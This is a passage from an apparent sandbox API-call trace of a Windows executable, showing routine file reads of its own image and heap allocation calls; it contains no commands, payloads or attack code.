lpNumberOfBytesRead=0x9b7d68, lpOverlapped=0x0 | out: lpBuffer=0x302005c*, lpNumberOfBytesRead=0x9b7d68*=0x3000, lpOverlapped=0x0) returned 1 [0074.749] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc04b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7d54, lpOverlapped=0x0 | out: lpBuffer=0x2cc04b8*, lpNumberOfBytesRead=0x9b7d54*=0x1000, lpOverlapped=0x0) returned 1 [0074.750] GetLastError () returned 0x0 [0074.750] GetCurrentThreadId () returned 0x9b0 [0074.750] GetLastError () returned 0x0 [0074.750] GetCurrentThreadId () returned 0x9b0 [0074.750] GetLastError () returned 0x0 [0074.750] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b6a2c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b6a2c*=0) returned 0x83999d [0074.750] GetLastError () returned 0x0 [0074.750] GetCurrentThreadId () returned 0x9b0 [0074.750] GetLastError () returned 0x0 [0074.750] GetLastError () returned 0x0 [0074.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0074.750] CloseHandle (hObject=0x1ec) returned 1 [0074.750] GetLastError () returned 0x0 [0074.750] GetCurrentThreadId () returned 0x9b0 [0074.750] GetLastError () returned 0x0 [0074.750] GetLastError () returned 0x0 [0074.750] GetCurrentThreadId () returned 0x9b0 [0074.750] GetLastError () returned 0x0 [0074.751] GetLastError () returned 0x0 [0074.751] GetCurrentThreadId () returned 0x9b0 [0074.751] GetLastError () returned 0x0 [0074.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3027280 | out: hHeap=0x2ad0000) returned 1 [0074.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa1980 | out: hHeap=0x2ad0000) returned 1 [0074.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302f288, Size=0x7862) returned 0x302f288 [0074.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3020048 | out: hHeap=0x2ad0000) returned 1 [0074.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x465) returned 0x2cd0228 [0074.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xad8) returned 0x30e4e58 [0074.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8088, Size=0x20) returned 0x2a1fb00 [0074.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a18cf8 [0074.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18cf8, Size=0x64) returned 0x2a199d8 [0074.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2ac0a40 [0074.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x2ac9110 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9110, Size=0xe8) returned 0x2c375c8 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375c8, Size=0x120) returned 0x2cb6500 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6500, Size=0x160) returned 0x2cb71a8 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb71a8, Size=0x1a8) returned 0x2cb7fd0 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7fd0, Size=0x1f8) returned 0x2c319f0 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c319f0, Size=0x250) returned 0x2ac4228 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4228, Size=0x2b4) returned 0x2c2d250 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2d250, Size=0x324) returned 0x2bab928 [0074.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x303) returned 0x2cbc1a8 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab928, Size=0x3a4) returned 0x2cd0698 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd0698, Size=0x434) returned 0x2cd0698 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd0698, Size=0x4d4) returned 0x2cd0698 [0074.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd0698, Size=0x588) returned 0x2cd0698 [0074.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd0698 | out: hHeap=0x2ad0000) returned 1 [0074.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302f288 | out: hHeap=0x2ad0000) returned 1 [0074.753] GetCurrentThreadId () returned 0x9b0 [0074.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aff0 [0074.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aff0 | out: hHeap=0x2ad0000) returned 1 [0074.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb828 [0074.753] GetCurrentThreadId () returned 0x9b0 [0074.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7a48 [0074.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0074.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7d90 [0074.753] GetCurrentThreadId () returned 0x9b0 [0074.753] GetCurrentThreadId () returned 0x9b0 [0074.753] GetCurrentThreadId () returned 0x9b0 [0074.753] GetCurrentThreadId () returned 0x9b0 [0074.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7d90 | out: hHeap=0x2ad0000) returned 1 [0074.753] GetCurrentThreadId () returned 0x9b0 [0074.753] GetCurrentThreadId () returned 0x9b0 [0074.753] GetLastError () returned 0x0 [0074.753] GetLastError () returned 0x0 [0074.754] GetLastError () returned 0x0 [0074.754] GetLastError () returned 0x0 [0074.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8afd0 [0074.754] GetLastError () returned 0x0 [0074.754] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7288, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.754] GetFileType (hFile=0x1ec) returned 0x1 [0074.754] GetLastError () returned 0x0 [0074.754] GetCurrentThreadId () returned 0x9b0 [0074.754] GetLastError () returned 0x0 [0074.754] GetFileType (hFile=0x1ec) returned 0x1 [0074.754] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7304 | out: lpFileInformation=0x9b7304) returned 1 [0074.754] FileTimeToLocalFileTime (in: lpFileTime=0x9b7318, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.754] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.754] FileTimeToLocalFileTime (in: lpFileTime=0x9b7310, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.754] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.755] FileTimeToLocalFileTime (in: lpFileTime=0x9b7308, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.755] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.755] GetLastError () returned 0x0 [0074.755] GetCurrentThreadId () returned 0x9b0 [0074.755] GetLastError () returned 0x0 [0074.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200a8 | out: hHeap=0x2ad0000) returned 1 [0074.755] GetLastError () returned 0x0 [0074.755] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8620948, lpDistanceToMoveHigh=0x9b73b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b73b8*=0) returned 0x838b94 [0074.755] GetLastError () returned 0x0 [0074.755] GetCurrentThreadId () returned 0x9b0 [0074.755] GetLastError () returned 0x0 [0074.755] GetCurrentThreadId () returned 0x9b0 [0074.755] GetLastError () returned 0x0 [0074.755] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8718361, lpDistanceToMoveHigh=0x9b7750*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7750*=0) returned 0x850819 [0074.755] GetLastError () returned 0x0 [0074.755] GetCurrentThreadId () returned 0x9b0 [0074.755] GetLastError () returned 0x0 [0074.755] GetCurrentThreadId () returned 0x9b0 [0074.756] GetCurrentThreadId () returned 0x9b0 [0074.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1351) returned 0x2aa1980 [0074.756] GetLastError () returned 0x0 [0074.756] ReadFile (in: hFile=0x1ec, lpBuffer=0x2aa1994, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7718, lpOverlapped=0x0 | out: lpBuffer=0x2aa1994*, lpNumberOfBytesRead=0x9b7718*=0x1000, lpOverlapped=0x0) returned 1 [0074.756] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc64e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7704, lpOverlapped=0x0 | out: lpBuffer=0x2cc64e8*, lpNumberOfBytesRead=0x9b7704*=0x1000, lpOverlapped=0x0) returned 1 [0074.756] GetLastError () returned 0x0 [0074.756] GetCurrentThreadId () returned 0x9b0 [0074.756] GetLastError () returned 0x0 [0074.756] GetCurrentThreadId () returned 0x9b0 [0074.756] GetLastError () returned 0x0 [0074.756] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b63dc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b63dc*=0) returned 0x852819 [0074.756] GetLastError () returned 0x0 [0074.756] GetCurrentThreadId () returned 0x9b0 [0074.756] GetLastError () returned 0x0 [0074.756] GetLastError () returned 0x0 [0074.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0074.757] CloseHandle (hObject=0x1ec) returned 1 [0074.757] GetLastError () returned 0x0 [0074.757] GetCurrentThreadId () returned 0x9b0 [0074.757] GetLastError () returned 0x0 [0074.757] GetLastError () returned 0x0 [0074.757] GetCurrentThreadId () returned 0x9b0 [0074.757] GetLastError () returned 0x0 [0074.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.757] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3020048, Size=0x2de7) returned 0x3020048 [0074.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa1980 | out: hHeap=0x2ad0000) returned 1 [0074.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fb0 [0074.757] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7fb0, Size=0x20) returned 0x2a1fb78 [0074.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80c) returned 0x2aa1980 [0074.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1) returned 0x2a8af80 [0074.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0074.757] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a19058 [0074.757] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19508 [0074.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac0b70 [0074.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0b70, Size=0xb8) returned 0x2ac9050 [0074.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x263) returned 0x2cd0698 [0074.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9050, Size=0xe8) returned 0x2c373e8 [0074.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b4) returned 0x2c2b948 [0074.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c373e8, Size=0x120) returned 0x2cb5e10 [0074.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5e10, Size=0x160) returned 0x2cb7748 [0074.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24f) returned 0x2ac3888 [0074.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7748, Size=0x1a8) returned 0x2cb8868 [0074.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb8868 | out: hHeap=0x2ad0000) returned 1 [0074.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3020048 | out: hHeap=0x2ad0000) returned 1 [0074.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aed0 [0074.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0074.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc158 [0074.758] GetCurrentThreadId () returned 0x9b0 [0074.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ce0 [0074.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ce0 | out: hHeap=0x2ad0000) returned 1 [0074.758] GetCurrentThreadId () returned 0x9b0 [0074.758] GetCurrentThreadId () returned 0x9b0 [0074.758] GetCurrentThreadId () returned 0x9b0 [0074.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8768 [0074.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8768 | out: hHeap=0x2ad0000) returned 1 [0074.759] GetCurrentThreadId () returned 0x9b0 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fb0 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba8d8 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9e20 [0074.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.759] GetCurrentThreadId () returned 0x9b0 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9c98 [0074.759] GetCurrentThreadId () returned 0x9b0 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.759] GetCurrentThreadId () returned 0x9b0 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8178 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aef0 [0074.759] GetCurrentThreadId () returned 0x9b0 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.759] GetCurrentThreadId () returned 0x9b0 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aed0 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ff8 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af40 [0074.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f98 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.760] GetCurrentThreadId () returned 0x9b0 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b050 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b050 | out: hHeap=0x2ad0000) returned 1 [0074.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.761] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7ff8, Size=0x20) returned 0x2a1fb00 [0074.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af40 | out: hHeap=0x2ad0000) returned 1 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f38, Size=0x20) returned 0x2a1fb78 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] GetCurrentThreadId () returned 0x9b0 [0074.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ff8 [0074.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.762] GetLastError () returned 0x0 [0074.762] GetLastError () returned 0x0 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80b8 [0074.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80d0 [0074.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f20 [0074.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.762] GetCurrentThreadId () returned 0x9b0 [0074.763] GetCurrentThreadId () returned 0x9b0 [0074.763] GetCurrentThreadId () returned 0x9b0 [0074.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8118, Size=0x20) returned 0x2a1fba0 [0074.763] GetCurrentThreadId () returned 0x9b0 [0074.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fba0, Size=0x40) returned 0x2a18f80 [0074.763] GetCurrentThreadId () returned 0x9b0 [0074.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7188 [0074.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7188 | out: hHeap=0x2ad0000) returned 1 [0074.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f80, Size=0x64) returned 0x2a19428 [0074.763] GetCurrentThreadId () returned 0x9b0 [0074.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.763] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0ad8 [0074.763] GetCurrentThreadId () returned 0x9b0 [0074.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0074.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0074.764] GetCurrentThreadId () returned 0x9b0 [0074.764] GetCurrentThreadId () returned 0x9b0 [0074.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ad8, Size=0xb8) returned 0x2ac9050 [0074.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8998 [0074.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8998 | out: hHeap=0x2ad0000) returned 1 [0074.764] GetCurrentThreadId () returned 0x9b0 [0074.764] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9050, Size=0xe8) returned 0x2c36e48 [0074.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8bc8 [0074.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a200a8 [0074.764] GetCurrentThreadId () returned 0x9b0 [0074.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.764] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8bc8 | out: hHeap=0x2ad0000) returned 1 [0074.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200a8 | out: hHeap=0x2ad0000) returned 1 [0074.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.765] GetCurrentThreadId () returned 0x9b0 [0074.765] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c36e48, Size=0x120) returned 0x2cb62b0 [0074.765] GetCurrentThreadId () returned 0x9b0 [0074.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0074.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.765] GetCurrentThreadId () returned 0x9b0 [0074.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0074.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7188 [0074.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.765] GetCurrentThreadId () returned 0x9b0 [0074.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1fef8 [0074.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.765] RtlAllocateHeap 